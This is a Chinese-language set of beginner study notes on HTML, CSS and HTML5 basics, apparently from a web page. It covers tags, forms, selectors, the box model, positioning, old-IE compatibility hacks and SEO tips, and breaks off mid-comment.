整合营销服务商
电脑端+手机端+微信端=数据同步管理
免费咨询热线：
电脑端+手机端+微信端=数据同步管理
免费咨询热线：
、web标准
web标准是网页制作的标准，它不是一个标准，而是由一系列标准组成。
web标准包含了三个方面：结构（html）,表现(css),行为(javascript或js)
注：a）W3C—万维网联盟，制定了结构和表现的标准
b) ECMA—欧洲电脑厂商联合会，制定了行为标准
二、html相关概念
1.html—超文本标记语言
2.xhtml—可扩展的超文本标记语言
3.html5—html的第五次重大修改
注：html和xhtml的区别
xhtml相对于html4.0并没有增加新的标签，只是语法要求更加严格，例如标签名称小写，标签必须闭合
三、DW常用快捷键
1.新建文件 ctrl+n
2.保存文件 ctrl+s
3.预览网页 F12
4.打开文件 ctrl+o
5.打开首选参数面板 ctrl+u
6.撤销 ctrl+z
7.恢复 ctrl+y
8.查找和替换 ctrl+f
9.显示或隐藏文件面板 F8
四、html基本结构
1.文档声明
作用：告知浏览器网页使用哪种html或xhtml规范
h5的文档声明： <!doctype html> 或 <!DOCTYPE HTML> 或 <!DOCTYPE html>
2.网页根标签（根元素）：<html>…</html>
所有网页的内容及标签都要放置在html标签之间
3.html中的内容分为两大部分：head部分和body部分
a)head部分：主要用来设置字符编码，网页标题，关键词，描述，引入一些外部css文件，js文件等
b)body部分：所有要在网页中呈现的内容和放置内容的标签都要放在body部分
注：常用字符编码格式为utf-8,还有gbk,gb2312
五、html基本语法
1.常规标记
语法： <标记 属性=”属性值” 属性=”属性值”></标记>
eg: <h3 class=”tit” id=”box”>前端开发</h3>
注：a）标记名称要小写
b) 属性和属性值用等号连接，属性值要加双引号
c)属性和标记之间要加空格，多个属性之间用空格隔开
d) 所有标点符号都必须是英文状态下的
2.空标记
语法： <标记 属性=”属性值” 属性=”属性值”/>
eg: <img src=”1.jpg” title=”图片”/>
六、html常用标记
1.网页内容标题
语法： <hx>标题内容</hx> (x为1-6)
eg: <h3>前端开发</h3>
注：h1-h6都有加粗效果，字体逐渐减小
2.段落文本
语法： <p>段落文本内容</p>
3.换行
语法：<br/>
4.空格（html转义字符）
5.加粗文本
语法： <strong>加粗文本内容</strong>
<b>加粗文本内容</b>
6.倾斜文本
语法：<em>倾斜文本内容</em>
<i>倾斜文本内容</i>
7.水平分隔线
语法： <hr/>
8.上标和下标
语法：上标： <sup>上标</sup>
下标： <sub>下标</sub>
※9.无序列表
语法： <ul>
<li>aaa</li>
…
</ul>
10.有序列表
语法：<ol type=”a|A|I|i” start=”2″>
<li>aaa</li>
…
</ol>
扩展：type用来设置序号的类型
start用来设置索引值
11.自定义列表
语法： <dl>
<dt>名词</dt>
<dd>解释</dd>
…
</dl>
—————————————————
相对路径的三种写法：
a）当当前文件和目标文件在同一目录下，写法如下：目标文件名+扩展名
b）当当前文件和目标文件所在文件夹在同一目录下，写法如下：目标文件所在文件夹名/目标文件名+扩展名
c）当当前文件所在文件夹和目标文件所在文件夹在同一目录下，写法如下：
../目标文件所在文件夹名/目标文件名+扩展名
注: ../代表返回到上一级目录
—————————————————
※12.图片
语法： <img src=”图片路径” title=”提示信息” alt=”替换信息” width=”数值” height=”数值”/>
eg: <img src=”img/1.jpg” title=”前端开发” alt=”加载失败” width=”100″ height=”100″/>
注：alt和title的区别
alt是当图片由于某些原因无法正常加载时显示的替换信息
title是当鼠标悬停在图片上时显示的提示信息
※13.超链接
语法： <a href=”链接地址” target=”_blank” title=”***”>链接文本或图片</a>
eg: <a href=”http://www.baidu.com” target=”_blank”>百度一下</a>
<a href=”http://www.1000phone.com” target=”_blank”><img src=”1.jpg” title=”前端开发”/></a>
<a href=”#”>新闻</a> 空链接
注：target=”_blank” 链接地址在新窗口打开
扩展：href和src的区别：
a）href表示超文本引用。用来建立当前元素和文档之间的链接。常用的有：link、a
b）src是source的缩写，src指向的内容会嵌入到文档中当前标签所在的位置。常用的有img，script
14.表格
作用：显示数据
语法：<table border=”1″ cellspacing=”0″ cellpadding=”0″>
<tr align=”center” height=”30″>
<th width=”100″>姓名</th>
…
</tr>
<tr align=”center” height=”30″>
<td width=”100″>姓名</td>
…
</tr>
…
</table>
注：表格相关html标签
1）table 用来定义一个表格
2）tr 定义表格的行
3）td 定义表格的列
4）th 定义表格的表头(自动加粗居中)
5）caption 定义表格的标题
6）thead 定义表格的页眉
7）tbody 定义表格的主体
8）tfoot 定义表格的页脚
注：表格相关html属性
a) border 设置表格的边框
b) cellspacing 设置单元格之间的间距
c) cellpadding 设置内容和单元格之间的空隙
d) width 定义单元格的宽度和表格的宽度
e) height 定义单元格的高度或表格的高度
f) align 设置单元格内容的水平对齐方式 align=”left|center|right”
g) colspan 合并列（加在td上）
h) rowspan 合并行（加在td上）
表单
一、表单
作用：用来搜集用户信息
语法： <form method=”get|post” action=”服务器端文件”>…</form>
注：所有的表单控件都要放置在form标签之间
1.文本框
语法： <input type=”text” value=”***”/>
2.密码框
语法：<input type=”password”/>
3.提交按钮
语法： <input type=”submit” value=”登录”/>
注：通过设置value属性改变按钮的默认文字内容
提交按钮和要提交的表单内容必须放在一个form标签中，才能提交
4.重置按钮
语法：<input type=”reset”/>
注：重置按钮必须放在form中才具备重置功能
5.单选按钮
语法：<input type=”radio” name=”a” checked=”checked”/>
注：a)一组中的单选按钮添加一致的name属性值，才能达到多选其一的效果
b)设置checked=”checked”,在页面加载完成后添加默认选中项
c)当属性和属性值相同时，可以省略属性值
6.复选按钮
语法： <input type=”checkbox” checked/>
注：checked属性的设置同单选按钮
7.下拉列表
语法：<select>
<option>a</option>
<option selected>b</option>
…
</select>
注：设置selected属性改变默认选中项
8.文本域
语法：<textarea cols=”字符宽度” rows=”行数”></textarea>
扩展： 禁止用户随意拖拽改变文本域的大小，设置如下：
textarea{resize:none;}
9.普通按钮
语法： <input type=”button” value=”***”/>
注：普通按钮不具备提交功能，一般结合js的onclick事件使用
普通按钮上的默认文字内容为空，需要通过value属性进行设置
注：disabled=”disabled” 设置表单控件为禁用状态
◆ get和post的区别
1）get主要用来获取数据，post主要用来向服务器发送数据
2）get发送数据时，信息会显示在url地址栏中，post直接通过服务器发送，用户看不到这个过程
3) get可以传送的数据量较小，一般不能大于2kb，post可以传送的数据量较大，理论上没有限制
4) get安全性较低，post安全性较高
二、div
作用：无语义标签，主要用来布局和划分板块
语法： <div>…</div>
三、span
语法： <span>…</span>
作用：
a)标签没有固定的格式表现。当对它应用样式时，它才会产生视觉上的变化。
b)span标签提供了一种将文本的一部分或者文档的一部分独立出来的方式
四、iframe框架
语法：<iframe src=”1.html表单.html” width=”800″ frameborder=”0″ scrolling=”auto”></iframe>
注：scrolling=”no” 隐藏或去掉iframe的滚动条
作用：创建包含另外一个文档的内联框架
五、html注释
语法： <!–注释内容–>
css基础
一、css概念及特点
css—层叠样式表
特点：实现了结构与表现相分离
作用：定义html元素如何在网页中显示
二、css基础语法
css由选择器和声明两大部分组成，声明又是由属性和属性值组成。即：
选择器{属性:属性值;}
eg: h1{color:red;}
注：a）声明要放在花括号中,每条声明结束要加分号
b) 属性和属性值用冒号连接
c) 建议一条声明占一行
三、样式表的创建
1.内联样式（行间样式，行内样式）
语法：<标记 style=”属性:属性值;”></标记>
eg: <h1 style=”color:red;”>前端开发</h1>
2.内部样式（嵌入式样式）
语法：<style type=”text/css”>
选择器{属性:属性值;}
</style>
eg: <style type=”text/css”>
h1{color:red;}
</style>
注：style标签一般放在head部分
3.外部样式表
a）使用link标签引入
首先创建一个后缀名为.css的文件
然后通过link标签引入，语法如下：
<link rel=”stylesheet” type=”text/css” href=”css文件路径”/>
注：rel是用来建立外部文件和本文件之间的关系
link标签一般放在head部分
b)使用@import引入css文件
语法： @import “css文件路径”;
★ link和@import引入外部样式的区别 ★
1）link属于html标签，除了可以引入css文件以外，还可以引入其他文件，@import属于css范畴，只能引入css文件（老祖宗的区别）
2）link引入的css文件和页面同时加载，@import引入的css文件在页面加载完成后载入（加载顺序不同）
3）link引入css文件无兼容性问题，所有浏览器都支持，@import低版本浏览器不支持（浏览器支持不同）
4）link是html标签，支持js改变dom，@import不支持（是否支持js改变dom）
四、样式表的优先级
样式表的优先级
采取就近原则，即离被设置的元素越近，优先级越高
当css属性值中出现!important的时候，它的优先级最高即：
!important>内联>内部>外部
五、css注释
语法： /*注释内容*/
六、css选择器
1.id选择器
语法：<标记 id=”id名”></标记>
#id名{属性:属性值;}
eg: <h1 id=”edu”>前端开发</h1>
#edu{color:red;}
注：a）id选择器优先级最高，id名是唯一的，不能出现同名的id
b) id名命名要语义化，常见命名方法：
I.驼峰命名法 id=”mainLoginContent”
II.下划线连接命名法 id=”main_login_con”
2.类选择器(class选择器)
语法：<标记 class=”类名”></标记>
.类名{属性:属性值;}
eg: <h1 class=”tit”>前端开发</h1>
.tit{color:red;}
注：可以给具有相同样式的元素添加相同的class名
注：类名词列表用法：
<h3 class=”tit focus”>新闻资讯</h3>
当一个元素即具有与其他元素相同的样式，又有某一个样式不同时，需要用到类名词列表的方式
3.后代选择器（包含选择器）
语法： 选择符1 选择符2{属性:属性值;}
eg: .box a{color:red;}
注：选择符1和选择符2必须满足是包含与被包含的关系，才能使用后代选择器
css核心属性
一、字体类属性
1.字体类型
语法： font-family:字体1,字体2,字体3;
eg: body{font-family:”Microsoft YaHei”,Arial;}
或 body{font-family:”微软雅黑”,Arial;}
注：a）font-family设置多个字体时，用逗号分隔
b）中文字体要加双引号，英文字体由多个单词组成也要加双引号
c）浏览器会优先识别字体1,如果找不到识别字体2，如果所列出的字体都无法识别，显示浏览器默认字体
d）特殊字体一律用图片
2.字体大小
语法：font-size:数值+单位;
eg: p{font-size:12px;}
注：a)字体大小一般设置偶数不设置奇数
b)浏览器默认字体大小为16px
c)字体大小单位有px,em,rem,pt等
注： font-size:16px; 等价于 font-size:medium;
3.字体加粗
语法：font-weight:normal(常规字体)|bold(加粗字体)|bolder(加粗字体)|100-900;
eg: h3{font-weight:normal;}
注：100-500为常规字体，600-900为加粗字体
4.字体倾斜
语法：font-style:normal(常规字体)|italic(倾斜)|oblique(倾斜);
5.字体是否大小写
语法：font-variant:normal(常规字体)|small-caps(小型大写字母字体);
注：主要针对英文起作用
6.font复合写法
语法：font:style weight size family;
eg： font:12px/1.5 “微软雅黑”;
上述代码是指字体大小为12px，行高为字体大小的1.5倍，字体类型为微软雅黑
注：在font的复合写法中，size和family不可互换位置，也不可以和其他简写属性互换位置
7.字体颜色
语法：color:颜色值;
注：颜色值的三种写法：
a）十六进制写法
color:#000; 黑色 color:#fff; 白色
b) rgb写法
color:rgb(0,0,0); 黑色 color:rgb(255,255,255); 白色
c) 颜色单词
color:black; color:white; color:red;
二、文本类属性
1.文本水平对齐方式
语法：text-align:left(左对齐)|center(居中对齐)|right(右对齐)|justify(两端对齐);
注：a）当需要让容器中的文本或图片等其他元素水平居中时，给父容器添加text-align:center;
b）justify两端对齐主要针对英文
2.行高
语法：line-height:数值+单位;
eg: line-height:32px;
注：a）当单行文本的行高等于容器高时，可以实现单行文本在定高容器中垂直居中
b) line-height不允许设置负值
c) line-height的属性值只写数值不加单位时，代表行高为字体大小的多少倍
3.文本修饰
语法：text-decoration:none(没有修饰)|underline(下划线)|line-through(删除线)|overline(上划线);
eg: a{text-decoration:none;}
a:hover{text-decoration:underline;}
CSS盒模型
一、css盒模型的概念及组成
css盒模型的概念—css盒模型是css的基石，主要用来设置元素间的相互关系，每个html元素都有自己的盒模型。
css盒模型的组成—由content(主体),padding(补白，填充)，border(边框)，margin(外边距)组成。
1.content
语法：width:数值+单位;
height:数值+单位;
注：width和height的属性值必须加单位
2.padding(content和border之间的区域)
a）设置一个值
padding:20px; 上，下，左，右均为20px
b）设置两个值
padding:20px 5px; 上下为20px，左右为5px
c）设置三个值
padding:20px 5px 10px;上为20px，左右为5px，下为10px
d）设置四个值
padding:20px 5px 10px 0px;
顺时针顺序依次为：上20px，右5px，下10px,左0px
e) 还可以单独设置某一个方向的padding值
eg: padding-left:20px; （left还可以更改为top，right，bottom）
注：
I.如果元素设置了宽高，设置padding后，要在原来宽高的基础上减去设置的padding值，保证总宽高不变
II.padding不允许设置负值
III.背景可以延伸到padding区域
IV.当需要调整子元素在父元素中的位置关系时，可以通过给父元素设置padding来实现
容器溢出
一、容器溢出
语法：overflow:visible|hidden|scroll|auto|inherit;
visible 默认值，内容不会被裁剪，显示在容器之外
hidden 内容会被裁剪，隐藏不可见
scroll 溢出部分的内容以滚动条的形式查看，如果没有溢出，显示默认的滚动条
auto 容器溢出时显示滚动条
inherit 规定从父元素继承overflow属性值
还可以单独设置某一个方向的溢出：
overflow-x:hidden|scroll|auto;
overflow-y:hidden|scroll|auto;
二、文本溢出
语法：text-overflow:clip(不显示省略号)|ellipsis(显示省略号);
三、单行文本省略号的设置
四个条件缺一不可：
（a）设置固定的宽度 width:value;
（b）设置文本强制在一行显示 white-space:nowrap;
（c）设置容器溢出隐藏 overflow:hidden;
（d）设置文本溢出显示省略号 text-overflow:ellipsis;
注：I.此方法只适用于单行文本省略号的设置，如果是多行文本显示省略号可以使用js或由后端来处理
II.上述四个属性必须给文本所在最近的父元素设置
元素类型及转换
一、html元素类型
html元素分为三大类：块元素，内联元素，可变元素
注：也可将html元素分为这样三类：块元素，内联元素，内联块状元素
1.块元素
常见块元素：div,p,ul,ol,li,dl,dt,dd,form,table,tr,td,hr,h1,h2,h3,h4,h5,h6,fieldset
块状元素特点：
a) 块状元素以块的形式显示为一个矩形区域
b) 块状元素默认情况下，独占一行，自上而下排列
c) 块状元素可以定义自己的宽度和高度，以及盒模型中的任意属性（如margin，padding，border）
d) 块状元素可以作为一个容器容纳其他的块元素和内联元素
2.内联元素
常见内联元素：a,span,strong,b,i,em,br,img,input,select,textarea
内联元素特点：
a) 内联元素没有自己的形状，也显示为一个矩形区域
b) 内联元素在一行逐个进行显示
c) 内联元素不能定义宽度和高度，以及与高度相关的一些属性（margin-top,margin-bottom,padding-top,padding-bottom,line-height）
d) 内联元素不能嵌套块元素
常见内联块状元素：img,input,select,textarea
内联块状元素特点：
a) 即具有内联元素特点，在一行逐个进行显示
b) 又具有块状元素特点，可以定义宽度和高度，以及盒模型中的任意属性
注：vertical-align属性只针对内联块状元素有效
3.可变元素
根据上下文关系决定元素类型，可变范围块元素和内联元素
注：常用html元素默认有margin，padding的如下：
body 默认margin
h1-h6 默认margin
p 默认margin
ul 默认margin和padding
ol 默认margin和padding
dl 默认margin
dd 默认margin
td 默认padding
input 默认padding
textarea 默认padding
fieldset 默认padding和margin
二、元素类型转换
语法：display:block|inline|inline-block|none|list-item;
a)block 将元素转换为块元素，是大部分块元素的默认display属性值
b)inline 将元素转换为内联元素，是内联元素的默认display属性值
c)inline-block 将元素转换为内联块状元素，是内联块状元素的默认display属性值（如img,input）
d)none 将元素隐藏不可见
e)list-item 将元素转换为列表类型，是li的默认display属性值
—————————————————
扩展：图片默认有空隙：
方案一：给img添加display:block;
方案二：给img添加float属性
—————————————————
注：当给元素设置了float后就相当于转换成block
三、置换元素和非置换元素
1.置换元素
浏览器根据元素的标签和属性，来决定元素的具体显示内容。
例如：根据img标签的src属性决定在网页中显示什么样的图片
根据input标签的type属性决定在网页中显示什么类型的input控件
2.非置换元素
除了置换元素，大部分html元素都是非置换元素，其内容直接显示在浏览器中
（缺内容）
定位及锚点设置
一、常见的三种布局模型
1.流动模型（Flow）
元素没有设置css样式的布局，块元素自上而下排列，内联元素在一行逐个进行显示
2.浮动模型（Float）
使用float属性进行网页布局，可以让块元素脱离文档流在一行显示，可以让内联元素设置宽高并且在一行显示
3.层模型（Layer）
使用position定位属性进行布局
二、定位布局
语法：position:static(默认值)|absolute(绝对定位)|relative(相对定位)|fixed(固定定位);
1.绝对定位
语法：position:absolute;
要成为绝对定位元素的参照物，必须满足以下两个条件：
a)参照物和绝对定位元素必须是包含与被包含关系
b)参照物必须具有定位属性
如果找不到满足以上两个条件的父包含块，那么绝对定位的参照物是浏览器窗口
注：元素的定位位置通过left,right,top,bottom属性来进行设置
2.相对定位
语法：position:relative;
参照物：元素偏移前的位置
★相对定位和绝对定位的区别
a）参照物不同
绝对定位的参照物是离元素最近的具有定位属性的父包含块，相对定位的参照物是元素偏移前的位置
b) 是否会脱离文档流
绝对定位会脱离文档流，位置会被其他元素占据，相对定位不会脱离文档流，原来的位置保留
3.固定定位
语法：position:fixed;
参照物：浏览器窗口或屏幕窗口
注：当给元素设置了固定定位后，元素会脱离正常的文档流，位置会被其他元素占据
三、透明度设置
语法:opacity:数值; （取值范围0-1,0为完全透明，1为完全不透明）
注：IE8及以下版本的IE浏览器不支持opacity属性，兼容写法如下：
filter:alpha(opacity=数值); （取值范围0-100）
四、定位元素层叠属性
语法：z-index:auto|number;
number 无单位的整数值，也可以设置负值
注：没有设置z-index时，最后写的对象优先显示在上层，设置后，数值越大，层越靠上；
五、锚点链接
语法：
a）命名锚记：
<标记 id=”锚记名”></标记>
b）连接锚记名
<a href=”#锚记名”></a>
eg: <h1 id=”one”>第一章 html基础</h1>
<a href=”#one”>第一章</a>
—————————————————
扩展一：如何在网页中插入flash
语法：<object width=”1000″ height=”500″>
<param name=”movie” value=”img/flash.swf”/>
<embed width=”1000″ height=”500″ src=”img/flash.swf”></embed>
</object>
扩展二：设置滚动字幕效果
语法：
<marquee behavior=”scroll|alternate” width=”200″ height=”30″ direction=”left|right|up|down” scrollamount=”20″>
滚动内容…
</marquee>
注：scrollamount用来设置滚动的速度，值越大速度越快
宽高自适应
一、宽度自适应
语法：width:100%;
注：给元素设置宽度100%将会继承父元素的宽度
块状元素默认宽度为100%
注：宽度自适应主要应用在通栏效果中
二、高度自适应
语法：height:auto; 或不设置高度
注：容器的高度由里面内容来决定
三、最大，最小高度，最大，最小宽度
1.最小高度
语法：min-height:数值+单位;
注：IE6不识别min-height属性，兼容写法如下：
a）min-height:100px; _height:100px;
b）min-height:100px; height:auto!important; height:100px;
2.最大高度
语法：max-height:数值+单位;
3.最小宽度
语法：min-width:数值+单位;
注：块状元素设置min-width属性时，需要将元素转换为内联块状元素
4.最大宽度
语法：max-width:数值+单位;
注：以上四组属性IE6及以下版本浏览器都不识别
四、高度塌陷问题
描述：父元素高度自适应，子元素float后，导致父元素高度为0称为高度塌陷问题
a）给父元素一个固定的高度
父元素{height:value;}
缺点：给父元素固定的高度违背了高度自适应的原则，不建议使用
b) 给父元素添加overflow:hidden;
优点：简单
缺点：当子元素存在定位时，定位在父元素框之外的部分将会被隐藏掉
c) 在浮动的子元素末尾添加一个空div，并设置如下样式：
.clear{clear:both;height:0;overflow:hidden;}
优点：兼容性好，所有浏览器都支持
缺点：在网页中添加若干个无意义的div，容易造成代码冗余
d）万能清除浮动法
父元素:after{content:”;
display:block;
clear:both;
height:0;
overflow:hidden;
visibility:hidden;}
优点：解决了代码冗余的问题，是官方推荐的解决高度塌陷问题的方法
五、伪元素
1. 元素:before
语法： .box:before{
content:”hello”;
font-size:30px;
color:red;
…
}
注：:before是在元素里面所有内容之前添加一个伪元素
2. 元素:after
语法：.box:after{
content:”world”;
font-size:30px;
color:green;
}
注： :after是在元素里面所有内容之后添加一个伪元素
注：I.无论伪元素内容是否为空，都必须添加content属性
II.伪元素是一个内联元素
六、元素隐藏不可见的两种方式
1.display:none;
元素隐藏不可见，位置不保留（看不见，摸不着）
2.visibility:hidden;
元素隐藏不可见，位置保留(看不见，摸得着)
七、窗口高度自适应
首先设置：
html,body{height:100%;}
然后给元素设置：
元素{height:100%;}
注：窗口高度自适应主要应用于内容不满一屏或者没有内容body和html高度为0的情况
八、水平居中
1.如果被设置元素为文本、图片等行内元素时，水平居中是通过给父元素设置text-align:center;来实现的。
2.满足定宽和块状两个条件的元素是可以通过设置“左右margin”值为“auto”来实现居中的
注：当元素设置了float，绝对定位，固定定位，左右margin为auto将会失效
3.不定宽块状元素水平居中
方案一：给子元素设置display:inline-block;给父元素设置text-align:center;
方案二：给父元素设置display:table; margin:0 auto;
注：display:table; 将元素转换为表格形式
九、元素水平垂直都居中问题
1.定宽高元素在屏幕窗口水平垂直都居中，方法如下：
元素{
width:value;
height:value;
position:fixed;
left:50%;
top:50%;
margin-left:-width/2;
margin-top:-height/2;
}
2.不定宽高元素在屏幕窗口水平垂直都居中，方法如下：
元素{
position:fixed;
left:0;
top:0;
bottom:0;
right:0;
margin:auto;
}
3.不定宽高的子元素在父元素中水平垂直都居中，方法如下：
a）父元素{
position:relative;
}
子元素{
position:absolute;
left:0;
top:0;
bottom:0;
right:0;
margin:auto;
}
b）父元素{
display:table-cell;
text-align:center;
vertical-align:middle;
}
注：display:table-cell;将元素转换为表格单元格形式
十、圆角效果
语法：border-radius:数值+单位;
注：border-radius:50%; (圆)
注：border-radius是css3新增的属性，低版本IE浏览器不支持，需要使用背景图片的方式来实现
常见兼容性问题
一、常见兼容性问题
1.双倍浮动bug
描述：块元素float后，又设置了横向的margin，在IE6下显示的margin比设置的margin值要大
解决方案：给浮动的块元素添加display:inline;
2.表单元素行高不一致
解决方案：
方案一：给表单元素添加vertical-align:middle;
方案二：给表单元素添加float属性
扩展：如何去掉表单元素的外边框，方法如下：
input{outline:none;}
3.在IE6不能识别较小高度的容器（一般为10px）
解决方案：
a）给容器添加overflow:hidden;
b）给容器添加font-size:0; (如果容器高度为0时使用第一种解决方案)
4.超链接中的图片在IE浏览器中有默认的边框
解决方案：给img标签添加border:0; 或 border:none;
5.min-height属性IE6不识别
解决方案：
a）min-height:100px; _height:100px;
b）min-height:100px; height:auto!important; height:100px;
6.图片默认有空隙
解决方案：
a）给img设置display:block;
b）给img设置float属性
7.百分比bug
描述：父元素宽度100%，子元素宽度50%，在IE6下，50%+50%大于100%
解决方案：给右边左浮动的子元素添加clear:right;
8.低版本IE浏览器不识别opacity属性
解决方案：filter:alpha(opacity=数值);
9.鼠标指针bug
描述：cursor:hand;只有低版本的IE浏览器支持，其他浏览器都不支持
解决方案： cursor:pointer; 所有浏览器都支持，将鼠标指针改为手型
10.上下margin重叠问题
描述：当给上下两个元素同时设置margin值时，只能识别其中较大的那个值、
解决方案：
a)margin-top和margin-bottom只设置其中一个值
b)给其中一个设置margin属性的元素外层再嵌套一个盒子，并设置overflow:hidden;
11.假传圣旨问题
描述：给子元素设置margin-top应用在了父元素上
解决方案：
1）把给子元素设置的margin-top改为给父元素设置padding-top
2）给父元素设置overflow:hidden;
3）给父元素设置float属性
4）给父元素设置border-top:1px solid transparent;
注：transparent为透明
12.按钮默认大小不一
解决方案：按照设计稿上按钮的样式设定宽高，或者使用背景图
二、css hack(过滤器)
1.下划线属性过滤器
语法： 选择器{_属性:属性值;}
eg: .box{_background:red;}
注：只有IE6可以识别带有下划线的css属性，其他浏览器都不识别
2.!important关键字过滤器
语法：选择器{属性:属性值!important;}
eg: .box{background:yellow!important;background:blue;}
注：!important关键词过滤器除IE6以外的其他浏览器都识别
添加!important关键词的css属性要放在标准css属性之前
3.*属性过滤器
语法：选择器{*属性:属性值;}
eg: .box{*background:pink;}
注：*属性过滤器只有IE6,IE7识别
4.
语法：选择器{属性:属性值;}
eg: .box{background:orange;}
注：是IE6,7,8,9都识别
5.>5.\0<
语法：选择器{属性:属性值>语法：选择器{属性:属性值\0;}<;}
eg: .box{background:black>eg: .box{background:black\0;}<;}
注：>注：\0是IE8及以上版本浏览器识别<>
三、五大浏览器内核
1.IE 内核：Trident
2.Mozilla Firefox(火狐) 内核：Gecko
3.Safari,Chrome 内核：Webkit
4.Opera(欧朋) 内核：Presto
5.由Google,Opera,software联合开发的浏览器排版引擎 内核：Blink
—————————————————
图片整合
一、图片整合的概念
图片整合是指将多张背景图片整合到一张背景图中，通过background-position属性实现图片的定位技术。
二、图片整合的优势
将多张图整合到一张图中，减少了对服务器的请求次数，加快了页面的加载速度，减小了图片体积，从而达到了网站性能的优化。
注：图片整合技术也称为滑动门技术，雪碧图，精灵图
表单，表格高级
一、表单高级
表单的组成：表单域，表单控件，提示信息
1.表单域
<form method=”get|post” action=”服务器端文件”>…</form>
2.表单控件
文本框： <input type=”text”/>
密码框： <input type=”password”/>
提交按钮： <input type=”submit” value=”login”/>
重置按钮： <input type=”reset”/>
单选按钮： <input type=”radio” name=”a”/>
复选按钮：<input type=”checkbox” checked/>
下拉菜单： <select><option>a</option>…</select>
文本域： <textarea></textarea>
3.提示信息
放置在表单控件前后的文字内容叫做提示信息，我们经常将提示信息放置在一个label标签中，语法如下：
a）点击文字选中单选按钮或复选按钮
<input type=”radio” id=”boy” name=”a”/> <label for=”boy”>男</label>
注：设置id属性值和for属性值一致产生关联即可达到点击文字选中按钮的效果
b）通过给label标签设置样式达到一定的效果
注：label是一个内联元素
4.表单字段集及表单字段集标题
语法： <fieldset>
<legend>标题</legend>
表单控件…
</fieldset>
注：将form表单中的内容进行分组，并添加一个标题，在form中可以嵌套多个fieldset
5.上传文件
语法： <input type=”file”/>
6.隐藏字段
语法： <input type=”hidden”/>
注：主要用于后端处理数据
7.图像域
语法： <input type=”image” width=”数值” height=”数值” src=”图片路径”/>
注：用在提交按钮位置的图像，使得这幅图像具有按钮的功能
二、表格高级
1.合并相邻单元格边框(给table加)
语法： border-collapse:collapse(合并相邻单元格边框)|separate(边框分开);
2.定义表格标题的位置(给table加)
语法：caption-side:top|bottom|left|right;
注：left和right只有火狐支持
3.设置单元格间距(给table加)
语法：border-spacing:数值+单位;
注：当设置了border-collapse:collapse;后，border-spacing将会失效
4.设置无内容单元格隐藏(给table加)
语法：empty-cells:show(显示)|hide(隐藏);
5.表格布局算法(给table加)
语法：table-layout:auto|fixed(单元格宽度固定，不随内容多少发生变化);
三、表格重要html属性
1.合并列
colspan=”数值”
2.合并行
rowspan=”数值”
3.单元格内容水平对齐方式
align=”left|center|right”
4.单元格内容垂直对齐方式
valign=”top|middle|bottom”
5.分隔线
rules=”rows|cols|all|groups|none”
rows 行分隔线
cols 列分隔线
all 行分隔线和列分隔线
groups 组分隔线
none 没有分隔线
注：表格行分组：<thead></thead> <tbody></tbody> <tfoot></tfoot>
表格列分组：<colgroup span=”数值”></colgroup>
注： span用来设置几列为一组，默认一列为一组
四、css样式重置
作用：CSS reset的作用是让各个浏览器的CSS样式有一个统一的基准
五、seo优化
seo—搜索引擎优化
◆ 站内优化
1.页面主题优化
给网站添加一个有意义的标题
2.页面头部优化
给网站添加关键词，描述
<meta name=”keywords” content=”” /> 关键词
<meta name=”description” content=””/> 描述
3.超链接优化
a）尽量少用或者不用flash设置超链接，seo无法识别flash中的超链接文字
b) 给a标签添加title属性，可以起到提示访客的作用
c) 尽量避免使用图片热点链接
4.图片优化
给img标签添加title，alt属性
5.网站地图
给网站添加网站地图或网站导航，方便浏览者快速找到有浏览的网页信息
6.给网站添加友情链接
7.seo认为静态页面比动态页面更有利于搜索引擎优化
8.避免”大体积”的页面，代码结构要合理
◆ 站外优化
1.百度推广
2.流量分析
3.网站品牌建设
h5新标签
一、h5新增结构性标签
1.header 定义网页的头部
2.footer 定义网页的底部
3.section 定义网页的某一个区域
4.nav 定义网页的导航部分
5.aside 定义网页的侧边栏
6.article 定义网页的一篇文章
7.hgroup 对网页中的标题进行组合
8.figure 对网页中的元素进行组合
9.figcaption 给figure组合添加一个标题
10.dialog 定义一个对话框
二、h5新增其他标签
1.定义带有记号的文本
语法： <ma rk>定义带有记号的文本</mark>
2.定义已知范围内的标量，测量
语法： <meter value=”10″ min=”1″ max=”100″></meter>
3.定义任务的进度或进程
语法： <progress value=”10″ min=”1″ max=”100″></progress>
三、音频
语法： <audio controls autoplay loop>
<source src=”1.mp3″ type=”audio/mp3″/>
…
Your browser does not support the element
</audio>
注：音频相关html属性
a）src 引入音频文件路径
b) controls 显示音频控制条
c) autoplay 设置自动播放
d) loop 设置循环播放
注：audio支持的音频格式：mp3,ogg,wav
四、视频
语法：<video controls width=”数值” height=”数值” autoplay controls poster=”图片路径”>
<source src=”2.mp4″ type=”video/mp4″/>
…
Your browser does not support the element
</video>
注：视频相关html属性
a）src 引入音频文件路径
b) controls 显示音频控制条
c) autoplay 设置自动播放
d) loop 设置循环播放
e) width 定义视频区域的宽度
f) height 定义视频区域的高度
g) poster 在视频播放前或快进快退时显示的一张图片
注：video支持的视频格式：mp4(mpeg4),ogg,webm
五、h5新增type属性值
1.type=”email”
限制用户输入为email类型（必须含有@符，@符前后内容不能为空）
2.type=”url”
限制用户输入为url类型（必须含有http://,并且后面内容不能为空）
3.type=”number”
限制用户输入为number类型
eg: <input type=”number” min=”1″ max=”100″ value=”1″ step=”2″/>
注：min 设置最小值 max 设置最大值 step 设置每次递增递减的值
4.type=”range”
产生一个滑动条的表单
eg: <input type=”range” value=”1″ min=”0″ max=”100″/>
5.type=”color”
产生一个选择颜色的面板
6.type=”date”
产生一个选择日期的面板
7.type=”time”
产生一个选择时间的面板
8.type=”month”
产生一个选择年月的面板
9.type=”search”
产生一个具有搜索意义的表单
六、h5新增表单属性
1.required 必填项，限制用户输入不能为空
eg: <input type=”text” required/>
2.placeholder=”默认提示信息内容” 给表单控件添加默认提示信息
eg: <input type=”text” placeholder=”请输入用户名”/>
3.autofocus 页面加载完成后自动聚焦到某个input框
eg: <input type=”text” autofocus/>
4.pattern=”正则表达式” 按照设置的规则输入内容
eg: <input type=”text” pattern=”^[a-zA-Z0-9]{6,16}$”/>
5.list 指定一个datalist，作为下拉提示单
eg: <input type=”search” list=”data”/>
<datalist id=”data”>
<option>a</option>
…
</datalist>
注：type为search的input框的list属性值必须和datalist标签的id名一致才能实现搜索的功能
七.取消h5的表单验证
语法： <form novalidate></form>
sublime常用快捷键
<!– sublime常用快捷键 –>
<!– 1.快速生成html基本模板 –>
<!– !+tab键 –>
<!– 2.添加或删除注释 –>
<!– ctrl+? –>
<!– <ul class=”uls”>
<li><a href=”#”>今天是2018年七月九号</a><span>2018-07-09</span></li>
